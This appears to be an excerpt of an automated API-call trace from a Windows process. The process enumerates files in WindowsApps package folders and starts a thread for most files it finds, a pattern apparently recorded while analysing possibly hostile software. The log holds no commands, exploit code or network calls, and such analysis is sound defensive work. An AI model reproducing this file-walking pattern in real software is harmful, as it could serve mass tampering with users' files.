	[0090.085] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x491c7b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2258
	[0090.086] FindNextFileW (in: hFindFile=0x46a7918, lpFindFileData=0x502c478 | out: lpFindFileData=0x502c478*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfd4ea481, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xbd1c01b1, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xbd1c01b1, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0090.086] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0090.086] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0090.086] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xee) returned 0x491c4d0
	[0090.086] wcscpy (in: _Dest=0x491c4d0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe"
	[0090.086] wcscat (in: _Dest=0x491c4d0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\"
	[0090.086] wcscat (in: _Dest=0x491c4d0, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0090.086] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x491c4d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x225c
	[0090.087] FindNextFileW (in: hFindFile=0x46a7918, lpFindFileData=0x502c478 | out: lpFindFileData=0x502c478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cd8ca0d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x8cdb2c6b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x8cdb2c6b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x913a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0090.087] wcscmp (_String1="resources.pri", _String2=".") returned 1
	[0090.087] wcscmp (_String1="resources.pri", _String2="..") returned 1
	[0090.087] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47178c0
	[0090.087] wcscpy (in: _Dest=0x47178c0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe"
	[0090.087] wcscat (in: _Dest=0x47178c0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\"
	[0090.087] wcscat (in: _Dest=0x47178c0, _Source="resources.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\resources.pri") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\resources.pri"
	[0090.087] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47178c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2260
	[0090.088] FindNextFileW (in: hFindFile=0x46a7918, lpFindFileData=0x502c478 | out: lpFindFileData=0x502c478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8cdb2c6b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb381d673, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8cdd8ec4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Speech", cAlternateFileName="")) returned 1
	[0090.088] wcscmp (_String1="Speech", _String2=".") returned 1
	[0090.088] wcscmp (_String1="Speech", _String2="..") returned 1
	[0090.088] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb8) returned 0x4f2c7e0
	[0090.088] wcscpy (in: _Dest=0x4f2c7e0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe"
	[0090.088] wcscat (in: _Dest=0x4f2c7e0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\"
	[0090.088] wcscat (in: _Dest=0x4f2c7e0, _Source="Speech" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\Speech") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\Speech"
	[0090.088] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4f2c7e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2264
	[0090.089] FindNextFileW (in: hFindFile=0x46a7918, lpFindFileData=0x502c478 | out: lpFindFileData=0x502c478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cdd8ec4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x8ce4b5d5, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x8ce4b5d5, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x168e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlite3.dll", cAlternateFileName="")) returned 1
	[0090.089] wcscmp (_String1="sqlite3.dll", _String2=".") returned 1
	[0090.089] wcscmp (_String1="sqlite3.dll", _String2="..") returned 1
	[0090.089] FindNextFileW (in: hFindFile=0x46a7918, lpFindFileData=0x502c478 | out: lpFindFileData=0x502c478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ce4b5d5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x8ce71832, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x8ce71832, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="StoreRatingPromotion.dll", cAlternateFileName="")) returned 1
	[0090.089] wcscmp (_String1="StoreRatingPromotion.dll", _String2=".") returned 1
	[0090.089] wcscmp (_String1="StoreRatingPromotion.dll", _String2="..") returned 1
	[0090.089] FindNextFileW (in: hFindFile=0x46a7918, lpFindFileData=0x502c478 | out: lpFindFileData=0x502c478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ce71832, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x8ce97a8c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x8ce97a8c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="StoreRatingPromotion.winmd", cAlternateFileName="")) returned 1
	[0090.089] wcscmp (_String1="StoreRatingPromotion.winmd", _String2=".") returned 1
	[0090.089] wcscmp (_String1="StoreRatingPromotion.winmd", _String2="..") returned 1
	[0090.089] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe0) returned 0x4722ee8
	[0090.089] wcscpy (in: _Dest=0x4722ee8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe"
	[0090.089] wcscat (in: _Dest=0x4722ee8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\"
	[0090.089] wcscat (in: _Dest=0x4722ee8, _Source="StoreRatingPromotion.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\StoreRatingPromotion.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\StoreRatingPromotion.winmd"
	[0090.089] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4722ee8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2268
	[0090.090] FindNextFileW (in: hFindFile=0x46a7918, lpFindFileData=0x502c478 | out: lpFindFileData=0x502c478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ce71832, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x8ce97a8c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x8ce97a8c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="StoreRatingPromotion.winmd", cAlternateFileName="")) returned 0
	[0090.090] FindClose (in: hFindFile=0x46a7918 | out: hFindFile=0x46a7918) returned 1
	[0090.090] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502c478) returned 1
	[0090.090] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481bac0) returned 1
	[0090.090] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7d790) returned 1

Thread:
	id = 1042
	os_tid = 0x1cb8

	[0082.694] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x481bb78
	[0082.694] wcscpy (in: _Dest=0x481bb78, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe"
	[0082.694] wcscat (in: _Dest=0x481bb78, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\"
	[0082.694] wcscat (in: _Dest=0x481bb78, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\*"
	[0082.694] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502c6e0
	[0082.694] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\*", lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd1384417, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xb391b556, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7c923e77, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a7958
	[0082.695] wcscmp (_String1=".", _String2=".") returned 0
	[0082.695] FindNextFileW (in: hFindFile=0x46a7958, lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd1384417, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xb391b556, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7c923e77, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.695] wcscmp (_String1="..", _String2=".") returned 1
	[0082.695] wcscmp (_String1="..", _String2="..") returned 0
	[0082.695] FindNextFileW (in: hFindFile=0x46a7958, lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1384417, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xd1384417, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xd1384417, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x675, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApplicationInsights.config", cAlternateFileName="")) returned 1
	[0082.695] wcscmp (_String1="ApplicationInsights.config", _String2=".") returned 1
	[0082.695] wcscmp (_String1="ApplicationInsights.config", _String2="..") returned 1
	[0082.695] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x47ebac8
	[0082.695] wcscpy (in: _Dest=0x47ebac8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe"
	[0082.695] wcscat (in: _Dest=0x47ebac8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\"
	[0082.695] wcscat (in: _Dest=0x47ebac8, _Source="ApplicationInsights.config" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\ApplicationInsights.config") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\ApplicationInsights.config"
	[0090.060] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47ebac8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1644
	[0090.063] FindNextFileW (in: hFindFile=0x46a7958, lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1384417, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xd1384417, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xd1384417, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x1eb1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0090.063] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0090.063] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0090.063] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x477d460
	[0090.063] wcscpy (in: _Dest=0x477d460, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe"
	[0090.063] wcscat (in: _Dest=0x477d460, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\"
	[0090.063] wcscat (in: _Dest=0x477d460, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0090.063] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477d460, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2200
	[0090.064] FindNextFileW (in: hFindFile=0x46a7958, lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1384417, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xd1384417, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xd1384417, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2ab3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0090.064] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0090.064] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0090.064] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x477d898
	[0090.064] wcscpy (in: _Dest=0x477d898, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe"
	[0090.064] wcscat (in: _Dest=0x477d898, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\"
	[0090.064] wcscat (in: _Dest=0x477d898, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\AppxManifest.xml"
	[0090.064] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477d898, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2204
	[0090.064] FindNextFileW (in: hFindFile=0x46a7958, lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd1384417, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xb391ec44, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd1384417, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0090.065] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0090.065] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0090.065] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x4719600
	[0090.065] wcscpy (in: _Dest=0x4719600, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe"
	[0090.065] wcscat (in: _Dest=0x4719600, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\"
	[0090.065] wcscat (in: _Dest=0x4719600, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0090.065] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4719600, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2208
	[0090.065] FindNextFileW (in: hFindFile=0x46a7958, lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1384417, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xd1384417, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xd1384417, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x298e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0090.065] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0090.065] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0090.065] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd0) returned 0x477d970
	[0090.065] wcscpy (in: _Dest=0x477d970, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe"
	[0090.066] wcscat (in: _Dest=0x477d970, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\"
	[0090.066] wcscat (in: _Dest=0x477d970, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x"
	[0090.066] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477d970, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x220c
	[0090.066] FindNextFileW (in: hFindFile=0x46a7958, lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd1384417, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xb3a006ef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd1501b56, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 1
	[0090.066] wcscmp (_String1="Assets", _String2=".") returned 1
	[0090.066] wcscmp (_String1="Assets", _String2="..") returned 1
	[0090.066] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xba) returned 0x4925a90
	[0090.066] wcscpy (in: _Dest=0x4925a90, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe"
	[0090.066] wcscat (in: _Dest=0x4925a90, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\"
	[0090.066] wcscat (in: _Dest=0x4925a90, _Source="Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.066] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4925a90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2210
	[0090.067] FindNextFileW (in: hFindFile=0x46a7958, lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1501b56, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xd1501b56, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xd1501b56, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xff58, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClrCompression.dll", cAlternateFileName="")) returned 1
	[0090.067] wcscmp (_String1="ClrCompression.dll", _String2=".") returned 1
	[0090.067] wcscmp (_String1="ClrCompression.dll", _String2="..") returned 1
	[0090.067] FindNextFileW (in: hFindFile=0x46a7958, lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd1501b56, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xb3a0227c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd1501b56, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common", cAlternateFileName="")) returned 1
